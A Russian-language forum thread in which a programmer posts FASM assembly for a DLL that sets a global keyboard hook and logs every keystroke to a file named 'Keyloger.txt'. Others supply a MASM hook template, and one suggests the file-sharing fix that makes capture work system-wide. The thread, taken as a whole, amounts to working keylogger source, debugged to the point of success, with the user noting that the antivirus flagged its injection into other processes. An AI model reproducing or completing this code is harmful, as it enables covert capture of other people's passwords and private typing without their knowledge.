Привет, всем, всем! Буду благодарен, если попробуете помочь в решении следующего трабла. Не получается поставить глобальный хук на клаву, несмотря на то, что последним параметром в вызове Код (Text): SetWindowsHookEx,WH_KEYBOARD,KeyHookProc,[hInst],0 стоит NULL... Функция полностью написана в длл, которая загружается экзешником. Перехват работает только в том случае, если окно экзешника загружаещего эту самую длл, находится поверх остальных. Странно, что в случае перехвата мыши, все это работает исправно. Далее приведу немного кода: Код (Text): section '.code' code readable writeable executable jmp start align 4 hHook dd 0 ;handle to the current hook Fname db "D:\Keyloger.txt",0 hFile dd 0 Counter dd 0 KeySt db 256 dup (0) ;================================ DLL ENTRY POINT start: proc DllEntryPoint hInst,Reason,Reserved invoke SetWindowsHookEx,WH_KEYBOARD,KeyHookProc,[hInst],0 mov [hHook],eax invoke CreateFileA,Fname,GENERIC_WRITE,NULL,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL mov [hFile],eax mov eax,1 ret endp ;================================ THE HOOK PROCEDURE proc KeyHookProc code,wParam,lParam cmp [hcode],0 jnz @ret mov eax, [lParam] test eax, (1 shl 30) ;отпущена ли клавиша? jnz @ret test eax, (1 shl 24) ;функциональная-ли это клавиша? jnz @ret ;-------------------------------- This is what the procedure does shr eax, 16 movzx eax, ax push eax invoke GetKeyboardState,KeySt pop eax mov byte [Buf],0 invoke ToAscii,[wParam],eax,KeySt,Buf,0 cmp byte [Buf], 0 jz @ret invoke SetFilePointer,[hFile],[Counter],0,FILE_BEGIN invoke WriteFile,[hFile],Buf,1,SizeReadWrite,0 inc [Counter] @ret: mov eax,0 ;invoke CallNextHookEx,0,[hcode],[wParam],[lParam] ret endp ;================================ THE UNHOOK PROCEDURE proc UnHook invoke UnhookWindowsHookEx,[hHook] invoke CloseHandle,[hFile] ret endp section '.udata' data readable writeable SizeReadWrite dd ? Buf db 10h DUP (?) Данные в секцию кода перенес от нечего делать, думал, может в этом загвоздка... Может, кто-нибудь раскроет мне страшную тайну, почему это не работает?
Хороший вопрос... А зачем она ? И что в нее нужно поместить ? Если, я правильно понимаю, эта секция нужна для обмена данными между приложением и длл. В моем случае, рабочий код и данные находятся в длл, экзешник же, только загружает и выгружает эту длл.
А что именно не работает, я не пойму? Кстати, глянь сюда: http://msdn2.microsoft.com/en-us/library/ms644985.aspx
shared секция нужна, чтобы и другие приложения могли "общаться" с этой либой. почитай Iczeliona на васме, там есть о хуках.
Спасибо за ссылку. Вся эта инфа есть. Не работает перехват клавишь, если окно экзешника, который загружает длл, не является активным ( там обычный мессажебокс, который говорит, что длл загружена ). При запуске экзешника, Кошмарский сообщает, что процесс пытается внедриться во все другие процессы, я ему говорю: "разрешить", после чего появляется этот мессажебокс. Пока я нажимаю клавиши "в никуда", все они записываются в файл, как только открываю блокнот, запись прекращается. Отсюда вывод: Хук не является глобальным... Возможно. Читал. Хук на мышь работает глобально без всяких лишних секций. Я же не собираюсь передавать данные другим приложениям...
вот именно для этого и нужна разделяемая секция! попробуй, используя хук на мышь, сделай активной другую прогу. эффект хука пропадёт. разберись с механизмом хука, чтобы не писать подоьной ерунды!
Гы )) Именно это я и пытаюсь сделать. Ошибочка вышла...Все работает ))) Можно поподробнее, раз Вы так настаиваете на существовании этой секции, для чего она нужна ? Что, по Вашему, я должен поместить в эту секцию ? Может, я действительно чего-то не догоняю... С уважением.
Именно поэтому, первое, что я сделал, это поместил данные в секцию кода. Не помогло. После этого, по Вашему совету, пометил секцию данных как разделяемую. На фасме нужно всего-лишь добавить слово "shareable". Не помогло. В примере Исзелиона, мы помечаем секцию данных как разделяемую для того, чтобы в ней передать из длл в экзешник, в котором обрабатываются сообщеия мыши, хендл этой самой длл, чтобы потом выгрузить ее из памяти, т.к. процедура UnHook находится в экзешнике. У меня она находиться в самой длл и экспортируется из длл только сама эта процедура. PS. Iczelion'a, я все-таки читал. Наверное, даже более внимательно чем Вы.
специально для ленивых и... хм..., ну ладно: Код (Text): .586 .model flat,stdcall option casemap:none include windows.inc include user32.inc includelib user32.lib .data hInstance dd 0 .data? hHook dd ? hWnd dd ? .code DllEntry proc hInst:DWORD, reason:DWORD, reserved1:DWORD push hInst pop hInstance xor eax, eax inc eax ret DllEntry Endp KeyProc proc nCode:DWORD, wParam:DWORD, lParam:DWORD invoke CallNextHookEx, hHook, nCode, wParam, lParam ; - здесь делай что надо xor eax, eax ret KeyProc endp ;; если hwnd - не ноль, то хук устанавливается, иначе - снимается ранее установленный хук Hook proc hwnd:DWORD mov eax, hwnd .if eax mov hWnd, eax lea eax, KeyProc invoke SetWindowsHookEx, WH_KEYBOARD, eax, hInstance, 0 mov hHook, eax .else invoke UnhookWindowsHookEx,hHook .endif ret Hook endp End DllEntry на экспорт: Код (Text): EXPORTS Hook_Mouse собирать так: переведи только на FASM
собирать так: Переделал Ваш вариант на масме. Собрал БЕЗ(!) SECTION:.bss,S. Работает, что без этих параметров, что с ними. Никакой разницы. Однако, теперь с точностью до наоборот, относительно прошлого случая. Если печатать в блокноте, то перхват удается и записывается в файл. Если нажимать клавиши "в никуда", то не записывается... Видимо дело в последовательности процедур. Ща подумаю и совмещу эти два варианта в один рабочий. Вывод, пока, только один: секция разделяемых данных здесь нафиг не нужна. Спасибо за помощь.
Aspire Ты бы хоть файл с ShareMode = FILE_SHARE_WRITE открывал бы, иначе все последующие открытия просто обламываются. Потренируйся для начала на "кошках", т.е. MessageBox'ах ) Да и Reason в DllEntryPoint не мешало бы проверять...
Спасибо leo ! Вот где собака порылась ))) Как только написал FILE_SHARE_READ or FILE_SHARE_WRITE все заработало. Чето я здесь тормознул ))